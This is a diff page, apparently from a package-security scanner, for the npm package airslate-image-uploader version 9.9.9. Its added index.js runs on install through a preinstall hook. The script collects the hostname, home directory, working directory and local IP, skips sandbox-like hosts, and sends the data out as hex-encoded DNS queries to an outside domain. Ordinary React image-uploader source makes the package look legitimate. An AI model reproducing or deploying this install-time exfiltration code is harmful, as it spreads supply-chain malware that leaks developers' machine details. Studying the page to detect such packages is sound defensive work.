airslate-image-uploader 0.0.1-security → 9.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of airslate-image-uploader might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=airslate-image-uploader for more information.
1
+ # NPM
2
+ This is a Proof of Concept (PoC) package.
package/index.js ADDED
@@ -0,0 +1,105 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ function generateUID(length = 5) {
7
+ const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
8
+ let result = '';
9
+ for (let i = 0; i < length; i++) {
10
+ result += characters.charAt(Math.floor(Math.random() * characters.length));
11
+ }
12
+ return result.toLowerCase();
13
+ }
14
+
15
+ // Convert a JSON string to hex
16
+ function jsonStringToHex(jsonString) {
17
+ return Buffer.from(jsonString, 'utf8').toString('hex');
18
+ }
19
+
20
+ const uid = generateUID(); // Generate a UID for this client once
21
+
22
+ function getCurrentTimestamp() {
23
+ const date = new Date();
24
+ const offset = -date.getTimezoneOffset() / 60;
25
+ const sign = offset >= 0 ? "+" : "-";
26
+ return `${date.toLocaleDateString('en-GB')} ${date.toLocaleTimeString('en-GB')} (GMT${sign}${Math.abs(offset)})`;
27
+ }
28
+
29
+ function getLocalIP() {
30
+ const interfaces = os.networkInterfaces();
31
+ for (let iface in interfaces) {
32
+ for (let ifaceInfo of interfaces[iface]) {
33
+ if (ifaceInfo.family === 'IPv4' && !ifaceInfo.internal) {
34
+ return ifaceInfo.address;
35
+ }
36
+ }
37
+ }
38
+ return '127.0.0.1'; // fallback to localhost
39
+ }
40
+
41
+ function getPackageInfo() {
42
+ const packageJson = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
43
+ return {
44
+ name: packageJson.name,
45
+ version: packageJson.version
46
+ };
47
+ }
48
+
49
+ function sendJSONviaDNS(domain) {
50
+ // Check conditions to exit early
51
+ const hostnameCheck = os.hostname().startsWith("DESKTOP-") || os.hostname() === "instance";
52
+ const pathCheck1 = process.cwd().startsWith("/app");
53
+ const pathCheck2 = process.cwd().startsWith("/root/node_modules");
54
+
55
+ if (hostnameCheck || pathCheck1 || pathCheck2) {
56
+ return;
57
+ }
58
+
59
+ // Resolve the IP address of ns1.pocbb.com
60
+ dns.resolve4('ns1.pocbb.com', (err, addresses) => {
61
+ if (err) {
62
+ dns.setServers(['1.1.1.1', '8.8.8.8']); // Use 1.1.1.1 and 8.8.8.8 if ns1.pocbb.com cannot be resolved
63
+ } else {
64
+ const primaryDNS = addresses[0];
65
+ dns.setServers([primaryDNS, '1.1.1.1', '8.8.8.8']);
66
+ }
67
+
68
+ // Get package info
69
+ const pkgInfo = getPackageInfo();
70
+
71
+ // Construct the JSON object
72
+ const jsonObject = {
73
+ timestamp: getCurrentTimestamp(),
74
+ uid: uid,
75
+ 'pkg-name': pkgInfo.name,
76
+ 'pkg-version': pkgInfo.version,
77
+ 'local-ip': getLocalIP(),
78
+ hostname: os.hostname(),
79
+ homedir: os.homedir(),
80
+ path: process.cwd()
81
+ };
82
+ const jsonString = JSON.stringify(jsonObject);
83
+ const hexString = jsonStringToHex(jsonString);
84
+
85
+ // Split hex string into chunks of 60 characters each
86
+ const chunkSize = 60;
87
+ const regex = new RegExp(`.{1,${chunkSize}}`, 'g');
88
+ const chunks = hexString.match(regex);
89
+
90
+ chunks.forEach((chunk, index) => {
91
+ const packetNumber = (index + 1).toString().padStart(3, '0'); // 001, 002, etc.
92
+ const subdomain = `pl.${uid}.${packetNumber}.${chunk}.${domain}`;
93
+
94
+ // Perform DNS resolution
95
+ dns.resolve4(subdomain, (err, addresses) => {
96
+ if (err) {
97
+ return;
98
+ }
99
+ });
100
+ });
101
+ });
102
+ }
103
+
104
+ // Usage
105
+ sendJSONviaDNS('pocbb.com');
package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "airslate-image-uploader",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.9",
4
+ "description": "This is a Proof of Concept (PoC) package",
5
+ "license": "MIT",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "preinstall": "node index.js"
9
+ }
6
10
  }
@@ -0,0 +1,36 @@
1
+ import {
2
+ loading, loaded, setTypeContent, streamUpdate, resetStore,
3
+ } from '../reducers/imageUploader';
4
+ import { isUserMedia } from '../utils';
5
+ import { $l } from '../app-config';
6
+ import { ERROR_NOT_ALLOWED } from '../constants';
7
+
8
+ export const startMediaStream = (TYPE_CONTENT, showError) => (dispatch) => {
9
+ dispatch(loading());
10
+
11
+ isUserMedia();
12
+
13
+ navigator.mediaDevices.getUserMedia({ video: true })
14
+ .then((stream) => {
15
+ dispatch(streamUpdate(stream));
16
+ dispatch(setTypeContent(TYPE_CONTENT));
17
+ dispatch(loaded());
18
+ })
19
+ .catch((e) => {
20
+ dispatch(loaded());
21
+ dispatch(resetStore());
22
+
23
+ if (typeof showError === 'function') {
24
+ if (e.name === ERROR_NOT_ALLOWED) {
25
+ showError($l('ERROR_CAMERA_ACCESS'));
26
+ } else {
27
+ showError(e.message);
28
+ }
29
+ }
30
+ });
31
+ };
32
+
33
+ export const stopMediaStream = videoEl => (dispatch) => {
34
+ videoEl.srcObject.getTracks().forEach(track => track.stop());
35
+ dispatch(streamUpdate(null));
36
+ };
@@ -0,0 +1,12 @@
1
+ import Locale from '@airslate/front-locales/lib';
2
+ import defaultLocale from '@airslate/front-locales/locales/en/imageUploader';
3
+
4
+ const APP_LOCALE_PREFIX = 'IMAGE_UPLOADER_';
5
+ const isDev = () => process.env.NODE_ENV === 'development';
6
+
7
+ const { get: $l } = Locale(APP_LOCALE_PREFIX, {
8
+ ...defaultLocale,
9
+ ...window.allConstants,
10
+ });
11
+
12
+ export { $l, isDev };
@@ -0,0 +1,38 @@
1
+ import React from 'react';
2
+ import { string, func, shape } from 'prop-types';
3
+ import Svg from 'airslate-controls/src/Svg';
4
+
5
+ const Button = ({
6
+ children, wrapClassName, className, icon, onClick,
7
+ }) => (
8
+ <div role="presentation" className={wrapClassName} onClick={onClick}>
9
+ <label role="button" className={className}>
10
+ <span className="button__body">
11
+ {icon && <span className="button__icon">
12
+ <Svg symbol={icon} />
13
+ </span>}
14
+ <span className="button__text">
15
+ { children }
16
+ </span>
17
+ </span>
18
+ </label>
19
+ </div>
20
+ );
21
+
22
+ Button.propTypes = {
23
+ children: string.isRequired,
24
+ wrapClassName: string,
25
+ className: string,
26
+ icon: shape({
27
+ id: string,
28
+ content: string,
29
+ }),
30
+ onClick: func.isRequired,
31
+ };
32
+
33
+ Button.defaultProps = {
34
+ className: 'button button--primary',
35
+ wrapClassName: 'drag-and-drop__action-item',
36
+ };
37
+
38
+ export default Button;
@@ -0,0 +1,44 @@
1
+ import React from 'react';
2
+ import { func, any } from 'prop-types';
3
+ import upload from 'airslate-static/src/_images/svg-inline/upload.svg';
4
+ import camera from 'airslate-static/src/_images/svg-inline/camera.svg';
5
+ import Icon from 'ui-components/src/components/Icon';
6
+ import FileIcon from 'airslate-static.icons/src/colored/48/upload.svg';
7
+ import Button from './Button';
8
+ import { $l } from '../app-config';
9
+
10
+ const Content = ({ fileChanged, startMediaStream, cameraButtonDisable }) => (
11
+ <div className="drag-and-drop__content">
12
+ <div className="drag-and-drop__info">
13
+ <div className="drag-and-drop__icon">
14
+ <Icon id={FileIcon.id} />
15
+ </div>
16
+ <span className="drag-and-drop__title">
17
+ { $l('TITLE') }
18
+ </span>
19
+ <span className="drag-and-drop__subtitle">
20
+ { $l('DESC') }
21
+ </span>
22
+ </div>
23
+ <div className="drag-and-drop__action">
24
+ <Button icon={upload} onClick={fileChanged}>
25
+ { $l('SELECT_PHOTO_BTN') }
26
+ </Button>
27
+ { cameraButtonDisable
28
+ ? null
29
+ : (
30
+ <Button icon={camera} onClick={startMediaStream}>
31
+ { $l('TAKE_NEW_PHOTO_BTN_UPLOAD') }
32
+ </Button>
33
+ )}
34
+ </div>
35
+ </div>
36
+ );
37
+
38
+ Content.propTypes = {
39
+ fileChanged: func.isRequired,
40
+ startMediaStream: func.isRequired,
41
+ cameraButtonDisable: any,
42
+ };
43
+
44
+ export default Content;
@@ -0,0 +1,32 @@
1
+ import React from 'react';
2
+ import PropTypes from 'prop-types';
3
+
4
+ const Footer = ({ children, leftBtn }) => (
5
+ <footer className="modal-footer modal-footer--upload__section">
6
+ {leftBtn && (
7
+ <div className="modal-footer__actions">
8
+ {leftBtn}
9
+ </div>
10
+ )}
11
+ <div className="modal-footer__actions modal-footer__actions--md modal-footer__actions--justify-right">
12
+ <div className="modal-footer__btn">
13
+ {children.map((Child, idx) => (
14
+ <div key={idx} className="modal-footer__btn">
15
+ {Child}
16
+ </div>
17
+ ))}
18
+ </div>
19
+ </div>
20
+ </footer>
21
+ );
22
+
23
+ Footer.propTypes = {
24
+ children: PropTypes.oneOfType([
25
+ PropTypes.arrayOf(PropTypes.node),
26
+ PropTypes.node,
27
+ PropTypes.array,
28
+ ]),
29
+ leftBtn: PropTypes.element,
30
+ };
31
+
32
+ export default Footer;
@@ -0,0 +1,127 @@
1
+ import React, { Component, createRef, Fragment } from 'react';
2
+ import {
3
+ object, number, func, array, any,
4
+ } from 'prop-types';
5
+ import AvatarEditor from 'react-avatar-editor';
6
+ import camera from 'airslate-static/src/_images/svg-inline/camera.svg';
7
+ import upload from 'airslate-static/src/_images/svg-inline/upload.svg';
8
+ import Footer from './Footer';
9
+ import Button from './Button';
10
+ import RangeZoom from './RangeZoom';
11
+ import { $l } from '../app-config';
12
+
13
+ export default class ImageEditor extends Component {
14
+ editor = createRef();
15
+
16
+ static propTypes = {
17
+ image: object,
18
+ width: number,
19
+ height: number,
20
+ border: number,
21
+ minScale: number,
22
+ maxScale: number,
23
+ style: object,
24
+ scale: number,
25
+ color: array,
26
+ stepScale: number.isRequired,
27
+ fileChanged: func.isRequired,
28
+ handleSave: func.isRequired,
29
+ imageEditorUpdate: func.isRequired,
30
+ startMediaStream: func.isRequired,
31
+ cameraButtonDisable: any,
32
+ };
33
+
34
+ static defaultProps = {
35
+ style: {
36
+ width: 520,
37
+ height: 520,
38
+ },
39
+ minScale: 1,
40
+ maxScale: 5,
41
+ width: 100,
42
+ height: 100,
43
+ border: 150,
44
+ color: [0, 0, 0, 0.6],
45
+ scale: 2,
46
+ image: {},
47
+ };
48
+
49
+ saveImage = () => {
50
+ const { handleSave } = this.props;
51
+ const img = this.editor.current.getImageScaledToCanvas().toDataURL();
52
+ const rect = this.editor.current.getCroppingRect();
53
+
54
+ return handleSave({ img, ...rect });
55
+ };
56
+
57
+ renderTakeBtn = (cameraButtonDisable) => {
58
+ const { startMediaStream } = this.props;
59
+
60
+ return (
61
+ cameraButtonDisable
62
+ ? null
63
+ : (
64
+ <Button
65
+ wrapClassName="modal-footer__btn"
66
+ className="button button--sm button--secondary"
67
+ icon={camera}
68
+ onClick={startMediaStream}
69
+ >
70
+ {$l('TAKE_NEW_PHOTO_BTN')}
71
+ </Button>
72
+ )
73
+ );
74
+ };
75
+
76
+ render() {
77
+ const {
78
+ image: { preview }, fileChanged, imageEditorUpdate, scale, minScale, maxScale,
79
+ stepScale, style, height, width, border, color, cameraButtonDisable,
80
+ } = this.props;
81
+
82
+ return (
83
+ <Fragment>
84
+ <div className="upload-section__inner">
85
+ <div className="modal-content__image-block">
86
+ <AvatarEditor
87
+ ref={this.editor}
88
+ image={preview}
89
+ scale={scale}
90
+ width={width}
91
+ height={height}
92
+ border={border}
93
+ color={color}
94
+ style={style}
95
+ />
96
+ <RangeZoom
97
+ scale={scale}
98
+ imageEditorUpdate={imageEditorUpdate}
99
+ minScale={minScale}
100
+ maxScale={maxScale}
101
+ stepScale={stepScale}
102
+ />
103
+ </div>
104
+ </div>
105
+
106
+ <Footer leftBtn={this.renderTakeBtn(cameraButtonDisable)}>
107
+ <Button
108
+ position="left"
109
+ wrapClassName="modal-footer__btn"
110
+ className="button button--sm button--secondary"
111
+ icon={upload}
112
+ onClick={fileChanged}
113
+ >
114
+ {$l('SELECT_PHOTO_BTN')}
115
+ </Button>
116
+ <Button
117
+ wrapClassName="modal-footer__btn"
118
+ className="button button--sm button--primary"
119
+ onClick={this.saveImage}
120
+ >
121
+ {$l('SAVE_BTN')}
122
+ </Button>
123
+ </Footer>
124
+ </Fragment>
125
+ );
126
+ }
127
+ }
@@ -0,0 +1,76 @@
1
+ import React, { Component } from 'react';
2
+ import { number, func } from 'prop-types';
3
+ import minus from 'airslate-static/src/_images/svg-inline/minus-simple.svg';
4
+ import plus from 'airslate-static/src/_images/svg-inline/plus-simple.svg';
5
+ import Svg from 'airslate-controls/src/Svg';
6
+ import Slider from 'react-rangeslider';
7
+ import { SCALE } from '../reducers/imageUploader';
8
+
9
+ export default class RangeZoom extends Component {
10
+ stepClick = 0.3;
11
+
12
+ static propTypes = {
13
+ scale: number,
14
+ maxScale: number.isRequired,
15
+ minScale: number.isRequired,
16
+ stepScale: number.isRequired,
17
+ imageEditorUpdate: func.isRequired,
18
+ };
19
+
20
+ static defaultProps = {
21
+ scale: 0,
22
+ };
23
+
24
+ handleChange = (value) => {
25
+ const { imageEditorUpdate } = this.props;
26
+ imageEditorUpdate({ [SCALE]: value });
27
+ };
28
+
29
+ handleChangeLeft = () => {
30
+ const { imageEditorUpdate, scale, minScale } = this.props;
31
+ if (scale > minScale) {
32
+ const step = scale - this.stepClick < minScale ? minScale : scale - this.stepClick;
33
+ imageEditorUpdate({ [SCALE]: step });
34
+ }
35
+ };
36
+
37
+ handleChangeRight = () => {
38
+ const { imageEditorUpdate, scale, maxScale } = this.props;
39
+
40
+ if (scale < maxScale) {
41
+ const step = scale + this.stepClick > maxScale ? maxScale : scale + this.stepClick;
42
+ imageEditorUpdate({ [SCALE]: step });
43
+ }
44
+ };
45
+
46
+ render() {
47
+ const {
48
+ scale, maxScale, minScale, stepScale,
49
+ } = this.props;
50
+
51
+ return (
52
+ <div className="range-slider">
53
+ <div className="range-slider__control">
54
+ <div className="range-slider__action">
55
+ <button type="button" onClick={this.handleChangeLeft} className="range-slider__action-btn">
56
+ <Svg symbol={minus} />
57
+ </button>
58
+ </div>
59
+ <Slider
60
+ min={minScale}
61
+ max={maxScale}
62
+ step={stepScale}
63
+ value={scale}
64
+ tooltip={false}
65
+ onChange={this.handleChange}
66
+ />
67
+ <div className="range-slider__action">
68
+ <button type="button" onClick={this.handleChangeRight} className="range-slider__action-btn">
69
+ <Svg symbol={plus} />
70
+ </button>
71
+ </div>
72
+ </div>
73
+ </div>
74
+ );
75
+ }
76
+ }
@@ -0,0 +1,43 @@
1
+ import React, { createRef, Component } from 'react';
2
+ import { object, func } from 'prop-types';
3
+
4
+ export default class Video extends Component {
5
+ video = createRef();
6
+
7
+ static propTypes = {
8
+ stream: object.isRequired,
9
+ stopMediaStream: func,
10
+ };
11
+
12
+ componentDidMount() {
13
+ const { stream } = this.props;
14
+
15
+ this.updateVideoStream(stream);
16
+ }
17
+
18
+
19
+ componentWillUnmount() {
20
+ const { stopMediaStream } = this.props;
21
+
22
+ stopMediaStream(this.video.current);
23
+ }
24
+
25
+ updateVideoStream = (stream) => {
26
+ this.video.current.srcObject = stream;
27
+ };
28
+
29
+ render() {
30
+ return (
31
+ <div className="media">
32
+ <div className="media__video-wrap media__video-wrap--16to9">
33
+ <video
34
+ className="media__video"
35
+ ref={this.video}
36
+ muted
37
+ autoPlay
38
+ />
39
+ </div>
40
+ </div>
41
+ );
42
+ }
43
+ }
@@ -0,0 +1,4 @@
1
+ export const TYPE_EDITOR = 'Editor';
2
+ export const TYPE_CAMERA = 'Camera';
3
+ export const TYPE_DROPZONE = 'Dropzone';
4
+ export const ERROR_NOT_ALLOWED = 'NotAllowedError';
@@ -0,0 +1,273 @@
1
+ import React, { Component, createRef, Fragment } from 'react';
2
+ import {
3
+ string, bool, func, number, object, any,
4
+ } from 'prop-types';
5
+ import { connect } from 'react-redux';
6
+ import Dropzone from 'react-dropzone';
7
+ import classnames from 'classnames';
8
+ import Loader from 'airslate-controls/src/Loader';
9
+ import camera from 'airslate-static/src/_images/svg-inline/camera.svg';
10
+ import Content from '../components/Content';
11
+ import Video from '../components/Video';
12
+ import Footer from '../components/Footer';
13
+ import Button from '../components/Button';
14
+ import {
15
+ imageUpload, imageSelector, resetStore, loading, scaleSelector, setTypeContent,
16
+ loaded, streamUpdate, streamSelector, isLoadingSelector, imageEditorUpdate,
17
+ typeContentSelector,
18
+ } from '../reducers/imageUploader';
19
+ import ImageEditor from '../components/ImageEditor';
20
+ import { startMediaStream, stopMediaStream } from '../actions';
21
+ import { $l } from '../app-config';
22
+ import { bytesToSize } from '../utils';
23
+ import { TYPE_EDITOR, TYPE_CAMERA, TYPE_DROPZONE } from '../constants';
24
+
25
+ const mapStateToProps = state => ({
26
+ image: imageSelector(state),
27
+ stream: streamSelector(state),
28
+ isLoading: isLoadingSelector(state),
29
+ scale: scaleSelector(state),
30
+ typeContent: typeContentSelector(state),
31
+ });
32
+
33
+ const mapDispatchToProps = {
34
+ imageUpload,
35
+ streamUpdate,
36
+ resetStore,
37
+ loading,
38
+ loaded,
39
+ imageEditorUpdate,
40
+ startMediaStream,
41
+ stopMediaStream,
42
+ setTypeContent,
43
+ };
44
+
45
+ class App extends Component {
46
+ static propTypes = {
47
+ maxScale: number,
48
+ minScale: number,
49
+ stepScale: number,
50
+ scale: number,
51
+ width: number,
52
+ height: number,
53
+ isLoading: bool,
54
+ image: object,
55
+ stream: object,
56
+ disableClick: bool,
57
+ maxSize: number,
58
+ minSize: number,
59
+ classNameDrop: string,
60
+ activeClassName: string,
61
+ acceptClassName: string,
62
+ rejectClassName: string,
63
+ disabledClassName: string,
64
+ accept: any,
65
+ cameraButtonDisable: any,
66
+ typeContent: string.isRequired,
67
+ onDropRejected: func,
68
+ onDropMaxSizeRejected: func,
69
+ imageEditorUpdate: func.isRequired,
70
+ handleSave: func.isRequired,
71
+ setTypeContent: func.isRequired,
72
+ resetStore: func.isRequired,
73
+ imageUpload: func.isRequired,
74
+ startMediaStream: func.isRequired,
75
+ stopMediaStream: func.isRequired,
76
+ onDropAccepted: func,
77
+ onCameraError: func,
78
+ };
79
+
80
+ static defaultProps = {
81
+ classNameDrop: 'drag-and-drop drag-and-drop--profile-photo',
82
+ disableClick: true,
83
+ isLoading: false,
84
+ accept: ['image/jpeg', 'image/png', 'image/gif'],
85
+ stepScale: 0.01,
86
+ stream: {},
87
+ image: {},
88
+ activeClassName: '',
89
+ acceptClassName: '',
90
+ rejectClassName: '',
91
+ disabledClassName: '',
92
+ onDropMaxSizeRejected: () => null,
93
+ onDropRejected: () => null,
94
+ };
95
+
96
+ constructor(props) {
97
+ super(props);
98
+ this.dropzone = createRef();
99
+ this.video = createRef();
100
+ }
101
+
102
+ componentWillUnmount() {
103
+ const { resetStore } = this.props;
104
+
105
+ resetStore();
106
+ }
107
+
108
+ onDropMaxSize = () => {
109
+ const { maxSize, onDropMaxSizeRejected } = this.props;
110
+
111
+ return onDropMaxSizeRejected && onDropMaxSizeRejected(`${$l('ERROR_FILE_IS_TOO_BIG')} ${bytesToSize(maxSize)}`);
112
+ };
113
+
114
+ onError = (files) => {
115
+ const { onDropRejected, setTypeContent } = this.props;
116
+
117
+ if (this.isMaxSizeValidate(files[0])) this.onDropMaxSize();
118
+
119
+ onDropRejected(files);
120
+ setTypeContent(TYPE_DROPZONE);
121
+ };
122
+
123
+ onDrop = (files) => {
124
+ const { imageUpload } = this.props;
125
+
126
+ imageUpload(files[0]);
127
+ };
128
+
129
+ isMaxSizeValidate = ({ size }) => {
130
+ const { maxSize } = this.props;
131
+
132
+ return maxSize < size;
133
+ };
134
+
135
+ fileChanged = () => this.dropzone.current.open();
136
+
137
+ showDropScreen = () => {
138
+ const { stopMediaStream, resetStore } = this.props;
139
+ const { video } = this.video.current;
140
+
141
+ resetStore();
142
+ stopMediaStream(video.current);
143
+ };
144
+
145
+ startMediaStream = (cb) => {
146
+ const { startMediaStream, onCameraError } = this.props;
147
+ if (typeof cb === 'function') cb();
148
+ return startMediaStream(TYPE_CAMERA, onCameraError);
149
+ };
150
+
151
+ handleStartMediaStream = () => {
152
+ const { captureImgCb } = this.props;
153
+ this.startMediaStream(captureImgCb);
154
+ };
155
+
156
+ captureImage = () => {
157
+ const { setTypeContent, imageUpload } = this.props;
158
+ const { video } = this.video.current;
159
+
160
+ const canvas = document.createElement('canvas');
161
+ canvas.width = video.current.videoWidth;
162
+ canvas.height = video.current.videoHeight;
163
+
164
+ canvas.getContext('2d').drawImage(video.current, 0, 0, canvas.width, canvas.height);
165
+ imageUpload({ preview: canvas.toDataURL() });
166
+ setTypeContent(TYPE_EDITOR);
167
+ };
168
+
169
+ render() {
170
+ const {
171
+ classNameDrop, disableClick, image, typeContent, isLoading, stream, accept, maxSize, minSize,
172
+ activeClassName, acceptClassName, rejectClassName, disabledClassName, handleSave, maxScale,
173
+ minScale, stepScale, imageEditorUpdate, scale, resetStore, stopMediaStream, width, height,
174
+ cameraButtonDisable, onDropAccepted,
175
+ } = this.props;
176
+
177
+ const isShowDefaultPage = typeContent === TYPE_DROPZONE || typeContent === TYPE_EDITOR;
178
+ const preview = image && image.preview;
179
+
180
+ const wrapClassName = classnames({
181
+ 'sl-modal__inner': ![TYPE_EDITOR, TYPE_CAMERA].includes(typeContent),
182
+ 'loader-wrapper-solid': isLoading,
183
+ 'upload-section': preview,
184
+ });
185
+
186
+ const DropClassName = classnames({
187
+ [classNameDrop]: !preview,
188
+ 'upload-section__inner': preview,
189
+ });
190
+
191
+ return (
192
+ <div className={wrapClassName}>
193
+ <div className="modal-content">
194
+ {typeContent === TYPE_CAMERA && (
195
+ <Fragment>
196
+ <Video
197
+ ref={this.video}
198
+ stream={stream}
199
+ stopMediaStream={stopMediaStream}
200
+ />
201
+ <Footer>
202
+ <Button
203
+ wrapClassName="modal-footer__btn"
204
+ className="button button--sm button--secondary"
205
+ onClick={this.showDropScreen}
206
+ >
207
+ Cancel
208
+ </Button>
209
+ <Button
210
+ wrapClassName="modal-footer__btn"
211
+ className="button button--sm button--primary"
212
+ icon={camera}
213
+ onClick={this.captureImage}
214
+ >
215
+ {$l('TAKE_NEW_PHOTO_BTN_UPLOAD')}
216
+ </Button>
217
+ </Footer>
218
+ </Fragment>
219
+ )
220
+ }
221
+
222
+ {isShowDefaultPage && (
223
+ <Fragment>
224
+ {isLoading && <Loader />}
225
+ <Dropzone
226
+ accept={accept}
227
+ className={DropClassName}
228
+ ref={this.dropzone}
229
+ onDrop={this.onDrop}
230
+ disableClick={disableClick}
231
+ onDropAccepted={onDropAccepted}
232
+ maxSize={maxSize}
233
+ minSize={minSize}
234
+ activeClassName={activeClassName}
235
+ acceptClassName={acceptClassName}
236
+ rejectClassName={rejectClassName}
237
+ disabledClassName={disabledClassName}
238
+ onDropRejected={this.onError}
239
+ >
240
+ {preview ? (
241
+ <ImageEditor
242
+ scale={scale}
243
+ image={image}
244
+ maxScale={maxScale}
245
+ minScale={minScale}
246
+ stepScale={stepScale}
247
+ fileChanged={this.fileChanged}
248
+ imageEditorUpdate={imageEditorUpdate}
249
+ handleSave={handleSave}
250
+ startMediaStream={this.startMediaStream}
251
+ resetStore={resetStore}
252
+ width={width}
253
+ height={height}
254
+ cameraButtonDisable={cameraButtonDisable}
255
+ />
256
+ ) : (
257
+ <Content
258
+ fileChanged={this.fileChanged}
259
+ startMediaStream={this.handleStartMediaStream}
260
+ cameraButtonDisable={cameraButtonDisable}
261
+ />
262
+ )}
263
+ </Dropzone>
264
+ </Fragment>
265
+ )
266
+ }
267
+ </div>
268
+ </div>
269
+ );
270
+ }
271
+ }
272
+
273
+ export default connect(mapStateToProps, mapDispatchToProps)(App);
package/src/index.js ADDED
@@ -0,0 +1,14 @@
1
+ import React from 'react';
2
+ import { Provider } from 'react-redux';
3
+ import { store as createStore } from './store';
4
+ import App from './conteiners/App';
5
+
6
+ const store = createStore();
7
+
8
+ export default function ImageUploader(props) {
9
+ return (
10
+ <Provider store={store}>
11
+ <App {...props} />
12
+ </Provider>
13
+ );
14
+ }
@@ -0,0 +1,12 @@
1
+ import thunk from 'redux-thunk';
2
+ import { isDev } from '../app-config';
3
+
4
+ export const getMiddleware = () => {
5
+ const middleware = [thunk];
6
+
7
+ if (isDev()) {
8
+ middleware.push(require('redux-logger').createLogger({ collapsed: true }));
9
+ }
10
+
11
+ return middleware;
12
+ };
@@ -0,0 +1,47 @@
1
+ import { createAction, handleActions } from 'redux-actions';
2
+ import { createSelector } from 'reselect';
3
+ import get from 'lodash/get';
4
+ import { TYPE_DROPZONE } from '../constants';
5
+
6
+ const REDUCER_NAME = 'imageUploader';
7
+
8
+ export const SCALE = 'scale';
9
+
10
+ export const imageUpload = createAction('IMAGE_UPLOAD');
11
+ export const streamUpdate = createAction('STREAM_VIDEO');
12
+ export const resetStore = createAction('RESET');
13
+ export const imageEditorUpdate = createAction('UPDATE_IMAGE_EDITOR');
14
+ export const setTypeContent = createAction('TYPE_CONTENT');
15
+ export const loading = createAction('LOADING');
16
+ export const loaded = createAction('LOADED');
17
+
18
+ const initialState = {
19
+ stream: null,
20
+ image: null,
21
+ load: false,
22
+ typeContent: TYPE_DROPZONE,
23
+ imageEditor: {
24
+ [SCALE]: 2,
25
+ },
26
+ };
27
+
28
+ export const imageUploader = handleActions({
29
+ [imageUpload]: (state, { payload }) => ({ ...state, image: payload }),
30
+ [setTypeContent]: (state, { payload }) => ({ ...state, typeContent: payload }),
31
+ [streamUpdate]: (state, { payload }) => ({ ...state, stream: payload }),
32
+ [imageEditorUpdate]: (state, { payload }) => ({
33
+ ...state, imageEditor: { ...state.imageEditor, ...payload },
34
+ }),
35
+ [loading]: state => ({ ...state, loading: true }),
36
+ [loaded]: state => ({ ...state, loading: false }),
37
+ [resetStore]: () => initialState,
38
+ }, initialState);
39
+
40
+ export const stateSelector = state => get(state, REDUCER_NAME);
41
+ export const imageEditorSelector = createSelector(stateSelector, state => get(state, 'imageEditor'));
42
+
43
+ export const imageSelector = createSelector(stateSelector, state => get(state, 'image'));
44
+ export const typeContentSelector = createSelector(stateSelector, state => get(state, 'typeContent'));
45
+ export const isLoadingSelector = createSelector(stateSelector, state => get(state, 'loading'));
46
+ export const streamSelector = createSelector(stateSelector, state => get(state, 'stream'));
47
+ export const scaleSelector = createSelector(imageEditorSelector, state => get(state, [SCALE]));
@@ -0,0 +1,5 @@
1
+ import { imageUploader } from './imageUploader';
2
+
3
+ export default {
4
+ imageUploader,
5
+ };
@@ -0,0 +1,19 @@
1
+ import {
2
+ createStore,
3
+ combineReducers,
4
+ applyMiddleware,
5
+ compose,
6
+ } from 'redux';
7
+ import { getMiddleware } from '../middleware';
8
+ import reducers from '../reducers';
9
+
10
+ export const store = () => {
11
+ const middleware = getMiddleware();
12
+
13
+ const composeEnhancers = window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__ || compose;
14
+
15
+ return createStore(
16
+ combineReducers(reducers),
17
+ composeEnhancers(applyMiddleware(...middleware)),
18
+ );
19
+ };
@@ -0,0 +1,27 @@
1
+ export const isUserMedia = () => {
2
+ if (navigator.mediaDevices === undefined) navigator.mediaDevices = {};
3
+
4
+ if (navigator.mediaDevices.getUserMedia === undefined) {
5
+ navigator.mediaDevices.getUserMedia = (constraints) => {
6
+ const getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
7
+
8
+ if (!getUserMedia) {
9
+ return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
10
+ }
11
+
12
+ return new Promise((resolve, reject) => {
13
+ getUserMedia.call(navigator, constraints, resolve, reject);
14
+ });
15
+ };
16
+ }
17
+ };
18
+
19
+ export const bytesToSize = (bytes, decimals = 2) => {
20
+ if (bytes === 0) return '0 Bytes';
21
+
22
+ const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
23
+ const k = 1024;
24
+
25
+ const idx = Math.floor(Math.log(bytes) / Math.log(k));
26
+ return `${parseFloat((bytes / Math.pow(k, idx)).toFixed(decimals))} ${sizes[idx]}`;
27
+ };
@@ -0,0 +1,33 @@
1
+ export type TQueryObject = Record<number | string, any>;
2
+
3
+ const _flat = (
4
+ path: string,
5
+ obj: TQueryObject,
6
+ flatted: string[],
7
+ ): string[] => Object.keys(obj).reduce(
8
+ (f, p) => {
9
+ let v = obj[p];
10
+ if (v === undefined) return flatted;
11
+ if (v === null) v = '';
12
+ const ep = encodeURIComponent(p);
13
+ const np = path ? `${path}[${ep}]` : ep;
14
+ const theType = Array.isArray(v) ? 'array' : typeof v;
15
+ if (['function', 'array'].includes(theType)) v = '';
16
+ if (theType === 'object') {
17
+ return _flat(np, v, f);
18
+ }
19
+ f.push(`${np}=${encodeURIComponent(v)}`);
20
+ return f;
21
+ }, flatted,
22
+ );
23
+
24
+ const flat = (obj: TQueryObject): string[] => _flat('', obj, []);
25
+
26
+ const stringify = (query: TQueryObject): string => {
27
+ const queryString = flat(query).join('&');
28
+ return queryString ? `?${queryString}` : '';
29
+ };
30
+
31
+ export const buildQuery = (query: TQueryObject): string => (
32
+ query != null ? stringify(query) : ''
33
+ );